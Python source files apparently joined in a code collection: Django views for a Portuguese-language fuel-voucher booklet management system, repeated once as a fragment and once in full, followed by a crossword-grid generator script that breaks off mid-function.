).order_by('first_name', 'last_name')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'constel/v2/consulta_funcionarios.html', context)
@login_required()
def relatorios(request):
context = menu_relatorios(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_mes(request):
menu = menu_relatorios(request)
hoje = datetime.date.today()
itens = User.objects.filter(
vale_user_to__data__month=hoje.month,
vale_user_to__data__year=hoje.year,
).values(
'username',
'first_name',
'last_name',
).annotate(
total=Sum('vale_user_to__valor'),
max_data=Max('vale_user_to__data'),
n_vales=Count('vale_user_to__valor'),
).order_by(
'-total'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
}
context.update(menu)
return render(request, 'talao/v2/relatorio_mes.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_geral(request):
menu = menu_relatorios(request)
data_inicial = request.GET.get('data_inicial', '')
data_final = request.GET.get('data_final', '')
funcionario = request.GET.get('funcionario', '')
form = FormDataInicialFinalFuncionario(
initial={
'data_inicial': data_inicial,
'data_final': data_final,
'funcionario': funcionario,
}
)
query = Q(vale_user_to__vale__status=2)
if funcionario != '':
query = query & Q(
Q(username__icontains=funcionario) |
Q(first_name__icontains=funcionario) |
Q(last_name__icontains=funcionario))
if data_inicial != '':
data_inicial = datetime.datetime.strptime(data_inicial, "%Y-%m-%d").date()
query = query & Q(vale_user_to__data__gte=data_inicial)
if data_final != '':
data_final = datetime.datetime.strptime(data_final, "%Y-%m-%d").date()
query = query & Q(vale_user_to__data__lte=data_final)
itens = User.objects.filter(query).values(
'username',
'first_name',
'last_name',
).annotate(
total=Sum('vale_user_to__valor'),
max_data=Max('vale_user_to__data'),
n_vales=Count('vale_user_to__valor'),
).order_by(
'-total'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/relatorio_geral.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_geral_detalhe(request, user):
menu = menu_relatorios(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do vale ou matrícula',
initial={
'q': q,
}
)
query = Q(vale_entrega__user_to__username=user)
if q != '':
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q)
)
itens = Vale.objects.filter(query).values(
'vale',
'talao__talao',
'status',
'vale_entrega__data',
'vale_entrega__user__first_name',
'vale_entrega__user__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__posto__posto',
'vale_entrega__valor',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/relatorio_geral_detalhe.html', context)
| from django.shortcuts import render, get_object_or_404
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect, HttpRequest, HttpResponse
from django.db.models import Sum, Max, Count, Q, F
from django.core.paginator import Paginator
from django.contrib import messages
import datetime
from .forms import *
from .models import Talao, Vale, CadastroTalao, EntregaTalao, EntregaVale, Combustivel
from .menu import menu_principal, menu_consultas, menu_cadastros, menu_taloes, menu_vales, menu_relatorios
from constel.apps.controle_acessos.decorator import permission
from constel.forms import (
FormDataInicialFinalFuncionario,
FormFiltraQ,
FormCadastraUsuarioPassivo,
FormCadastrarVeiculo
)
from constel.models import UserType
@login_required()
def index(request):
context = menu_principal(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
def cadastros(request):
context = menu_cadastros(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel',)
def cadastrar_combustivel(request):
"""
View de carregamento e gestão de combustível novos cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
# Registro do cadastro do combustível
form = FormCadastraCombustivel(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/combustivel')
else:
form = FormCadastraCombustivel()
itens = Combustivel.objects.all().values(
'combustivel'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Cadastrar combustível',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_combustivel.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel',)
def cadastrar_posto(request):
"""
View de carregamento e gestão de combustível novos cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
# Registro do cadastro do posto
form = FormCadastraPosto(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/posto')
else:
form = FormCadastraPosto()
itens = Posto.objects.all().values(
'posto',
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Cadastrar posto',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_posto.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'patrimonio - combustivel - talao',)
def cadastrar_talao(request):
"""
View de carregamento e gestão do cadastro de novos talões,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastraTalao(request.POST)
if form.is_valid():
# Registro do cadastro do novo talão
talao = Talao.objects.create(talao=form.cleaned_data['talao'])
talao.save()
cadastro_talao = CadastroTalao(talao=talao, user=request.user)
for i in range(form.cleaned_data['vale_inicial'], form.cleaned_data['vale_final'] + 1):
vale = Vale.objects.create(vale=i, talao=talao)
vale.save()
cadastro_talao.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/talao')
else:
form = FormCadastraTalao()
context = {
'form': form,
'form_submit_text': 'Cadastrar talão',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def cadastrar_beneficiario(request):
"""
View de carregamento e gestão do cadastro de beneficiários de vale,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastraUsuarioPassivo(request.POST)
if form.is_valid():
if form.is_valid():
form.save()
user = User.objects.get(username=form.cleaned_data['username'])
modelo = form.cleaned_data['modelo']
placa = form.cleaned_data['placa']
cor = form.cleaned_data['cor']
user_type = UserType(user=user)
user_type.save()
veiculo = Veiculo(user=user, modelo=modelo, placa=placa, cor=cor)
veiculo.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/')
else:
form = FormCadastraUsuarioPassivo()
context = {
'form': form,
'form_submit_text': 'Cadastrar beneficiário',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def cadastrar_veiculo(request):
"""
View de carregamento e gestão do cadastro de veículos de beneficiários,
Deve ser acessada somente pelo adm e funcionários autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_cadastros(request)
if request.method == 'POST':
form = FormCadastrarVeiculo(request.POST)
if form.is_valid():
form.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/cadastros/')
else:
form = FormCadastrarVeiculo()
context = {
'form': form,
'form_submit_text': 'Cadastrar veículo',
}
context.update(menu)
return render(request, 'talao/v2/cadastrar_talao.html', context)
@login_required()
def taloes(request):
context = menu_taloes(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - talao',)
def entregar_talao(request):
"""
View de carregamento e gestão de entrega de talões cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_taloes(request)
if request.method == 'POST':
# Registro da entrega do talão
form = FormEntregaTalao(request.POST)
if form.is_valid():
talao = form.cleaned_data['talao']
talao.status = 1
Vale.objects.filter(talao=talao).update(status=1)
entrega_talao = EntregaTalao(
talao=talao,
user=request.user,
user_to=form.cleaned_data['user_to'],
)
entrega_talao.save()
talao.save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/taloes')
else:
form = FormEntregaTalao()
context = {
'form': form,
'form_submit_text': 'Entregar talão',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'gestor')
def devolucao_talao(request):
"""
View de carregamento e gestão de entrega de talões cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_taloes(request)
form = FormRetiraTalao(request.POST or None)
if request.method == 'POST':
if form.is_valid():
talao = form.cleaned_data['talao']
talao.status = 0
talao.save()
messages.success(request, 'Talão devolvido com sucesso')
return HttpResponseRedirect('/patrimonio/combustivel/talao/taloes/devolucao/')
context = {
'form': form,
'form_submit_text': 'Entregar talão',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
def vales(request):
context = menu_vales(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def entregar_vale_1(request):
"""
View 1 de carregamento e gestão de entrega de vales cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
if request.method == 'POST':
initial = {
'user_to': request.session.get('user_to', None),
'vale': request.session.get('vale', None),
}
form = FormEntregaVale1(data=request.POST, user=request.user, initial=initial)
if form.is_valid():
# Registro da entrega do vale
request.session['user_to'] = form.cleaned_data['user_to']
request.session['vale'] = form.cleaned_data['vale']
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/entrega-2')
else:
form = FormEntregaVale1(user=request.user)
context = {
'form': form,
'form_submit_text': 'Avançar',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def entregar_vale_2(request):
"""
View 2 de carregamento e gestão de entrega de vales cadastrados no sistema,
deve ser acessado apenas pelo adm e funcionãrios autorizados
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
if request.session.get('user_to') is None:
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/entrega-1')
vale = Vale.objects.get(id=request.session['vale'])
user_to = User.objects.get(id=request.session['user_to'])
if request.method == 'POST':
form = FormEntregaVale2(user_to, request.POST)
if form.is_valid():
request.session.pop('vale')
request.session.pop('user_to')
vale.status = 2
vale.save()
EntregaVale(
user=request.user,
user_to=user_to,
vale=vale,
combustivel=form.cleaned_data['combustivel'],
valor=form.cleaned_data['valor'],
observacao=form.cleaned_data['observacao'],
posto=Posto.objects.get(id=form.cleaned_data['posto']),
).save()
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales')
else:
form = FormEntregaVale2(user_to)
context = {
'form': form,
'form_submit_text': 'Entregar vale',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel')
def vales_buscar_vale_entregue(request):
"""
View para a busca de vale entregue
:param request: informações do formulário
:return: carregamento do formulário
"""
menu = menu_vales(request)
form = FormBuscaValeEntregue(request.POST or None)
if request.method == 'POST':
if form.is_valid():
return HttpResponseRedirect(f'/patrimonio/combustivel/talao/vales/edicao/{form.cleaned_data["vale"]}/')
context = {
'form': form,
'form_submit_text': 'Buscar vale',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
@permission('patrimonio', 'patrimonio - combustivel', 'gestor')
def vales_editar_entrega(request, vale_id):
"""
View de edição de vales que já foram entregues. Para casos de preenchimento incorreto
:param request: informações do formulário
:param vale_id: codigo do vale
:return: carregamento do formulário
"""
menu = menu_vales(request)
vale = get_object_or_404(Vale, vale=vale_id)
if vale.status != 2:
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/edicao/')
vale_entrega = EntregaVale.objects.get(vale=vale)
form = FormEditaValeEntregue(request.POST or None, instance=vale_entrega)
if request.method == 'POST':
if form.is_valid():
form.save()
messages.success(request, 'Vale alterado com sucesso')
return HttpResponseRedirect('/patrimonio/combustivel/talao/vales/edicao/')
context = {
'form': form,
'form_submit_text': 'Salvar',
}
context.update(menu)
return render(request, 'talao/v2/entregar_talao.html', context)
@login_required()
def consultas(request):
context = menu_consultas(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def consulta_talao(request):
"""
View de exibição dos talões cadastrados no sistema
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do talão ou matrícula',
initial={
'q': q,
}
)
query = Q()
if q != '':
query = query & Q(
Q(talao__icontains=q) |
Q(talao_cadastro__user__username__icontains=q) |
Q(talao_entrega__user__username__icontains=q) |
Q(talao_entrega__user_to__username__icontains=q)
)
itens = Talao.objects.filter(query).values(
'talao',
'status',
'talao_cadastro__data',
'talao_cadastro__user__username',
'talao_cadastro__user__first_name',
'talao_cadastro__user__last_name',
'talao_entrega__data',
'talao_entrega__user__username',
'talao_entrega__user__first_name',
'talao_entrega__user__last_name',
'talao_entrega__user_to__username',
'talao_entrega__user_to__first_name',
'talao_entrega__user_to__last_name',
).order_by('talao')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao.html', context)
@login_required()
@permission('patrimonio - combustivel - vale',)
def consulta_talao_detalhe(request, talao):
"""
View de exibição dos talões cadastrados no sistema
:param request: informações gerais
:param talao: identificação do talao a ser detalhado
:return: lista de vales do talão
"""
if not Talao.objects.filter(talao=talao).exists():
return HttpResponseRedirect('/patrimonio/combustivel/talao/consultas/talao')
menu = menu_consultas(request)
talao = Talao.objects.get(talao=talao)
itens = Vale.objects.filter(talao=talao).values(
'vale',
'status',
'vale_entrega__data',
'vale_entrega__user_to__first_name',
'vale_entrega__user_to__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__valor',
'vale_entrega__posto__posto',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
context = {
'talao': talao,
'itens': itens,
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao_detalhe.html', context)
@login_required()
@permission("patrimonio - combustivel - talao", "gerencia")
def consulta_vales(request: HttpRequest) -> HttpResponse:
menu = menu_consultas(request)
q = request.GET.get("q", "")
form = FormFiltraQ(
"Código do vale ou matrícula",
initial={
"q": q,
}
)
query = Q()
if q != "":
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q) |
Q(vale_entrega__user_to__username__icontains=q)
)
itens = Vale.objects.filter(query).order_by(
"vale"
).values(
"vale",
"status",
"talao__talao",
"vale_entrega__data",
"vale_entrega__user_to__first_name",
"vale_entrega__user_to__last_name",
"vale_entrega__combustivel__combustivel",
"vale_entrega__valor",
"vale_entrega__posto__posto",
)
paginator = Paginator(itens, 50)
page_number = request.GET.get("page")
page_obj = paginator.get_page(page_number)
context = {
"page_obj": page_obj,
"form": form,
"form_submit_text": 'Filtrar'
}
context.update(menu)
return render(request, "talao/v2/consulta_vale.html", context)
@login_required()
def consulta_meu_talao(request):
"""
View de exibição dos talões cadastrados no sistema que foram recebido pelo usuário logado
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do talão ou matrícula',
initial={
'q': q,
}
)
query = Q(talao_entrega__user_to=request.user)
if q != '':
query = query & Q(
Q(talao__icontains=q) |
Q(talao_cadastro__user__username__icontains=q) |
Q(talao_entrega__user__username__icontains=q) |
Q(talao_entrega__user_to__username__icontains=q)
)
itens = Talao.objects.filter(query).values(
'talao',
'status',
'talao_cadastro__data',
'talao_cadastro__user__username',
'talao_cadastro__user__first_name',
'talao_cadastro__user__last_name',
'talao_entrega__data',
'talao_entrega__user__username',
'talao_entrega__user__first_name',
'talao_entrega__user__last_name',
'talao_entrega__user_to__username',
'talao_entrega__user_to__first_name',
'talao_entrega__user_to__last_name',
).order_by('talao')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_talao.html', context)
@login_required()
def consulta_meu_vale(request):
"""
View de exibição dos vales cadastrados no sistema que foram recebidos pelo usuário cadastrado
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do vale ou matrícula',
initial={
'q': q,
}
)
query = Q(vale_entrega__user_to=request.user)
if q != '':
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q)
)
itens = Vale.objects.filter(query).values(
'vale',
'talao__talao',
'status',
'vale_entrega__data',
'vale_entrega__user__first_name',
'vale_entrega__user__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__posto__posto',
'vale_entrega__valor',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/consulta_vale.html', context)
@login_required()
def consulta_funcionarios(request):
"""
View de exibição dos funcionários cadastrados
:param request: informações gerais
:return: template
"""
menu = menu_consultas(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'matrícula',
initial={
'q': q,
}
)
query = Q()
if q != '':
query = query & Q(
Q(username__icontains=q) |
Q(first_name__icontains=q) |
Q(last_name__icontains=q)
)
itens = User.objects.filter(query).values(
'username',
'first_name',
'last_name',
'user_type__is_passive',
'is_superuser',
'is_active',
'last_login',
).annotate(
veiculos_qtde=Count(F('veiculos__id'))
).order_by('first_name', 'last_name')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'constel/v2/consulta_funcionarios.html', context)
@login_required()
def relatorios(request):
context = menu_relatorios(request)
return render(request, 'constel/v2/app.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_mes(request):
menu = menu_relatorios(request)
hoje = datetime.date.today()
itens = User.objects.filter(
vale_user_to__data__month=hoje.month,
vale_user_to__data__year=hoje.year,
).values(
'username',
'first_name',
'last_name',
).annotate(
total=Sum('vale_user_to__valor'),
max_data=Max('vale_user_to__data'),
n_vales=Count('vale_user_to__valor'),
).order_by(
'-total'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
}
context.update(menu)
return render(request, 'talao/v2/relatorio_mes.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_geral(request):
menu = menu_relatorios(request)
data_inicial = request.GET.get('data_inicial', '')
data_final = request.GET.get('data_final', '')
funcionario = request.GET.get('funcionario', '')
form = FormDataInicialFinalFuncionario(
initial={
'data_inicial': data_inicial,
'data_final': data_final,
'funcionario': funcionario,
}
)
query = Q(vale_user_to__vale__status=2)
if funcionario != '':
query = query & Q(
Q(username__icontains=funcionario) |
Q(first_name__icontains=funcionario) |
Q(last_name__icontains=funcionario))
if data_inicial != '':
data_inicial = datetime.datetime.strptime(data_inicial, "%Y-%m-%d").date()
query = query & Q(vale_user_to__data__gte=data_inicial)
if data_final != '':
data_final = datetime.datetime.strptime(data_final, "%Y-%m-%d").date()
query = query & Q(vale_user_to__data__lte=data_final)
itens = User.objects.filter(query).values(
'username',
'first_name',
'last_name',
).annotate(
total=Sum('vale_user_to__valor'),
max_data=Max('vale_user_to__data'),
n_vales=Count('vale_user_to__valor'),
).order_by(
'-total'
)
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/relatorio_geral.html', context)
@login_required()
@permission('patrimonio',)
def relatorio_geral_detalhe(request, user):
menu = menu_relatorios(request)
q = request.GET.get('q', '')
form = FormFiltraQ(
'código do vale ou matrícula',
initial={
'q': q,
}
)
query = Q(vale_entrega__user_to__username=user)
if q != '':
query = query & Q(
Q(vale__icontains=q) |
Q(vale_entrega__user__username__icontains=q)
)
itens = Vale.objects.filter(query).values(
'vale',
'talao__talao',
'status',
'vale_entrega__data',
'vale_entrega__user__first_name',
'vale_entrega__user__last_name',
'vale_entrega__combustivel__combustivel',
'vale_entrega__posto__posto',
'vale_entrega__valor',
'vale_entrega__observacao',
).order_by('vale_entrega__data')
paginator = Paginator(itens, 50)
page_number = request.GET.get('page')
page_obj = paginator.get_page(page_number)
context = {
'page_obj': page_obj,
'form': form,
'form_submit_text': 'Filtrar',
}
context.update(menu)
return render(request, 'talao/v2/relatorio_geral_detalhe.html', context)
|
from sys import argv, exit
from getopt import getopt, GetoptError
# Constant variables
GRID_SIZE = 20 # Grid size for rows and columns
GRID_CHAR = ' ' # Character to fill blanks in the grid
ERRORS = [
'No intersections',
'Illegal adjacencies',
'Out of bounds'
] # List containing error strings
def main():
debug = False
usage = f'{argv[0]} <words>'
try:
opts, args = getopt(argv[1:],'hd',['debug'])
except GetoptError:
print(usage)
exit(2)
for opt, arg in opts:
if opt == '-h':
print(usage)
exit()
elif opt in ('-d', '--debug'):
debug = True
if (not debug and len(argv) > 1) or (debug and len(argv) > 2):
crossword(argv[(2 if debug else 1):], debug)
else:
print(usage)
def crossword(L: list, debug: bool) -> None:
"""
Function to generate a crossword puzzle
Generates a crossword puzzle with the given words
Parameters:
L (list): List of strings representing words
"""
# Keep executing code until changeOccured is False
# When changeOccured is False then words can't be added anymore
grid = [[GRID_CHAR] * GRID_SIZE for row in range(GRID_SIZE)]
changeOccured = True # Variable to keep of grid changes
while changeOccured:
wordERRORS = [] # List to hold word ERRORS as tuples: (word, error)
wordInserted = False # Helper variable for changeOccured
C = L.copy() # Copy list so iteration is not affected once a word is removed from the original list
for index, word in enumerate(C):
wordError = None # Variable to keep track of word error
rowStartIndex = None # Start index for horizontal placement
columnStartIndex = None # Start index for vertical placement
placementFound = False # Variable to track if a valid placement has been found
# First word placement
# If the grid is empty then the current word is the first word
if isGridEmpty(grid):
rowIndex = (len(grid) // 2) - 1 # Middle row index of the grid
columnStartIndex = ((len(grid[rowIndex]) - len(word)) // 2) # Column index for word placement in the middle
columnEndIndex = columnStartIndex + len(word) - 1
if not boundCheck(columnStartIndex, columnEndIndex):
wordError = ERRORS[2]
else:
placementFound = True
else:
# Determine intersections
intersections = [] # List to keep track of possible intersections
for row, cells in enumerate(grid):
for column, cell in enumerate(cells):
if cell in word:
intersections.append((row, column))
horizontalIntersections = groupIntersections(intersections, 0) # Group horizontal intersections
verticalIntersections = groupIntersections(intersections, 1) # Group vertical intersections
if not intersections:
wordError = ERRORS[0]
# Find valid placement
for row, column in intersections:
cell = grid[row][column]
occurences = [index for index, alpha in enumerate(word) if alpha == cell] # Get all possible variations of word placement
for occurence in occurences:
# Horizontal check
rowIndex = row
columnStartIndex = column - occurence
columnEndIndex = column + len(word) - occurence - 1
check, wordError = horizontalCheck(grid, word, columnStartIndex, columnEndIndex, rowIndex, [column for row, column in horizontalIntersections[rowIndex]])
if check:
placementFound = True
break
columnStartIndex = None
# Vertical check
columnIndex = column
rowStartIndex = row - occurence
rowEndIndex = row + len(word) - occurence - 1
check, wordError = verticalCheck(grid, word, rowStartIndex, rowEndIndex, columnIndex, [row for row, column in verticalIntersections[columnIndex]])
if check:
placementFound = True
break
rowStartIndex = None
if placementFound: break # Break placement loop once a valid placement has been found
# Word insertion
if placementFound:
for index, alpha in enumerate(word):
# Horizontal insertion
if columnStartIndex is not None:
grid[rowIndex][columnStartIndex + index] = alpha
# Vertical insertion
else:
grid[rowStartIndex + index][columnIndex] = alpha
L.remove(word) # Remove word from list once its added
wordInserted = True
# Add word error to word ERRORS list
else:
wordERRORS.append((word, wordError))
# If a word is inserted then a change has occured therefore the code needs to execute again with the new set of possibilites for the remaining words
# Otherwise a change has not occured if a word hasn't been inserted and the code doesn't need to execute again
changeOccured = wordInserted
if debug and wordERRORS:
print('WORD ERRORS')
wordSpacing = len(max((word for word, error in wordERRORS), key=len))
print('\n'.join(('{:>{}}: {}'.format(word, wordSpacing, error) for word, error in wordERRORS)))
printGrid(grid)
def printGrid(grid: list) -> None:
"""
Function to print grid
Prints the given grid with evenly spaced
characters and a border around the grid
Parameters:
grid (list): 2D list representing a grid
"""
print('-' * ((GRID_SIZE * 2) + 1))
print('\n'.join((f'|{' '.join(row)}|' for row in grid)))
print('-' * ((GRID_SIZE * 2) + 1))
def lineCheck(line: list) -> bool:
"""
Function to check if line is empty
Checks if a given line on grid is empty
Parameters:
line (list): List representing a vertical
or horizontal line on grid
Returns:
boolean: True if line is empty otherwise False
"""
return all(char == GRID_CHAR for char in line)
def isGridEmpty(grid: list) -> bool:
"""
Function to check if grid is empty
Checks if the given grid is empty
Parameters:
grid (list): 2D list representing a grid
Returns:
boolean: True if grid is empty otherwise False
"""
return all([lineCheck(row) for row in grid])
def boundCheck(startIndex: int, endIndex: int) -> bool:
"""
Function to check if indexes are out of bounds
Checks if the given start and end index are out of bounds
Parameters:
startIndex (int): Index on grid for the first
character of the word
endIndex (int): Index on grid for the last
character of the word
Returns:
boolean: True if indexes are within bounds otherwise False
"""
return startIndex >= 0 and endIndex < GRID_SIZE
def groupIntersections(intersections: list, key: int) -> dict:
"""
Function to group horizontal or vertical intersections
Groups horizontal or vertical intersections
as a list into a dict by the given key
Parameters:
intersections (list): List of tuples representing
intersection points
key (int): Tuple index to group by
(0 for rows and 1 for columns)
Returns:
dict: Lists of intersections as values grouped by key
"""
groupedIntersections = {}
for intersection in intersections:
keyValue = intersection[key]
if keyValue not in groupedIntersections.keys():
groupedIntersections[keyValue] = []
group = groupedIntersections[keyValue]
group.append(intersection)
return groupedIntersections
def verticalCheck(grid: list, word: str, rowStartIndex: int, rowEndIndex: int, column: int, intersectionRows: list) -> bool:
"""
Function to check if word can be placed vertically
Checks if the given word can legally be
placed vertically at the given start index
Parameters:
grid (list): 2D list representing a grid
word (string): String representing the word
rowStartIndex (int): Row index for the first
character of the word
rowEndIndex (int): Row index for the last
character of the word
column (int): Column index for vertical placement
intersectionRows (list): List of integers representing
valid rows of intersection
Returns:
boolean: True if placement is legal otherwise False
string: Error string if illegal placement otherwise None
"""
if not boundCheck(rowStartIndex, rowEndIndex):
return False, ERRORS[2] # Return False if word is out of grid bounds
leftColumn = [] # List to keep track of grid characters on the left side of the word
rightColumn = [] # List to keep track of grid characters on the right side of the word
middleColumn = [] # List to keep track of grid characters on the column of the word
startIndex = rowStartIndex-1 if rowStartIndex != 0 else rowStartIndex
endIndex = rowEndIndex+1 if rowEndIndex != len(grid)-1 else rowEndIndex
for row, cells in enumerate(grid[startIndex:endIndex+1]):
gridRow = startIndex + row
if gridRow != rowStartIndex-1 and gridRow != rowEndIndex+1:
if gridRow not in intersectionRows:
middleColumn.append(cells[column])
if column != 0:
leftColumn.append(cells[column-1])
if column != GRID_SIZE-1:
rightColumn.append(cells[column+1])
else:
if cells[column] != word[row - (1 if startIndex != rowStartIndex else 0)]:
middleColumn.append(cells[column])
else:
middleColumn.append(cells[column])
# Check if at least one cell is a blank to avoid overlapping with duplicates
GRID_CHARCheck = any([cell == GRID_CHAR for cell in middleColumn[1 if startIndex != rowStartIndex else None:-1 if endIndex != rowEndIndex else None]])
linesCheck = lineCheck(leftColumn) and lineCheck(rightColumn) and lineCheck(middleColumn) and GRID_CHARCheck
return linesCheck, None if linesCheck else ERRORS[1]
def horizontalCheck(grid: list, word: str, columnStartIndex: int, columnEndIndex: int, row: int, intersectionColumns: list) -> bool:
"""
Function to check if word can be placed horizontaly
Checks if the given word can validly be placed
horizontally at the given start index
Parameters:
grid (list): 2D list representing a grid
word (string): String representing the word
columnStartIndex (int): column index for the first
character of the word
columnEndIndex (int): column index for the last
character of the word
row (int): row index for horizontal placement
intersectionColumns (list): list of integers representing
valid columns of intersection
Returns:
boolean: True if placement is legal otherwise False
string: Error string if illegal placement otherwise None
"""
if not boundCheck(columnStartIndex, columnEndIndex):
return False, ERRORS[2] # Return False if word is out of grid bounds
topRow = [] # List to keep track of grid characters above the word
middleRow = [] # List to keep track of grid characters on the row of the word
bottomRow = [] # List to keep trach of grid characters below the word
startIndex = columnStartIndex-1 if columnStartIndex else 0
endIndex = columnEndIndex+1 if columnEndIndex != len(grid[0])-1 else columnEndIndex
for column in range(startIndex, endIndex+1):
if column != columnStartIndex-1 and column != columnEndIndex+1:
if column not in intersectionColumns:
middleRow.append(grid[row][column])
if row != 0:
topRow.append(grid[row-1][column])
if row != GRID_SIZE-1:
bottomRow.append(grid[row+1][column])
else:
if grid[row][column] != word[column - columnStartIndex]:
middleRow.append(grid[row][column])
else:
middleRow.append(grid[row][column])
# Check if at least one cell is a blank to avoid overlapping with duplicates
